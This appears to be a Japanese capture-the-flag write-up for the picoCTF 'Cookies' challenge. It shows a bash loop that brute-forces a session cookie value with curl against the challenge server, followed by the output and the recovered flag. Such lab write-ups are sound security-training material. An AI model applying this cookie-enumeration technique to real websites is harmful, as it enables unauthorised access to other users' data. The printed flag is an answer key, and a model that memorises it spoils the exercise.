picoCTF Writeup picoGym Practice Challenges Cookies (注意<spoiler>)

Cookies

Description
Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:17781/

http://mercury.picoctf.net:17781/check
のcookieのname値を調べると0となっている。

solve.sh

#!/bin/bash
for i in `seq 0 20`;
do
    echo -n $i
    curl --cookie "name=$i" --data "name=snickerdoodle" --silent -L http://mercury.picoctf.net:17781/search | grep "<b>"
done

$ ./solve.sh 
0            <p style="text-align:center; font-size:30px;"><b>I love snickerdoodle cookies!</b></p>
1            <p style="text-align:center; font-size:30px;"><b>I love chocolate chip cookies!</b></p>
2            <p style="text-align:center; font-size:30px;"><b>I love oatmeal raisin cookies!</b></p>
3            <p style="text-align:center; font-size:30px;"><b>I love gingersnap cookies!</b></p>
4            <p style="text-align:center; font-size:30px;"><b>I love shortbread cookies!</b></p>
5            <p style="text-align:center; font-size:30px;"><b>I love peanut butter cookies!</b></p>
6            <p style="text-align:center; font-size:30px;"><b>I love whoopie pie cookies!</b></p>
7            <p style="text-align:center; font-size:30px;"><b>I love sugar cookies!</b></p>
8            <p style="text-align:center; font-size:30px;"><b>I love molasses cookies!</b></p>
9            <p style="text-align:center; font-size:30px;"><b>I love kiss cookies!</b></p>
10            <p style="text-align:center; font-size:30px;"><b>I love biscotti cookies!</b></p>
11            <p style="text-align:center; font-size:30px;"><b>I love butter cookies!</b></p>
12            <p style="text-align:center; font-size:30px;"><b>I love spritz cookies!</b></p>
13            <p style="text-align:center; font-size:30px;"><b>I love snowball cookies!</b></p>
14            <p style="text-align:center; font-size:30px;"><b>I love drop cookies!</b></p>
15            <p style="text-align:center; font-size:30px;"><b>I love thumbprint cookies!</b></p>
16            <p style="text-align:center; font-size:30px;"><b>I love pinwheel cookies!</b></p>
17            <p style="text-align:center; font-size:30px;"><b>I love wafer cookies!</b></p>
18            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}</code></p>
19            <p style="text-align:center; font-size:30px;"><b>I love macaroon cookies!</b></p>
20            <p style="text-align:center; font-size:30px;"><b>I love fortune cookies!</b></p>

picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}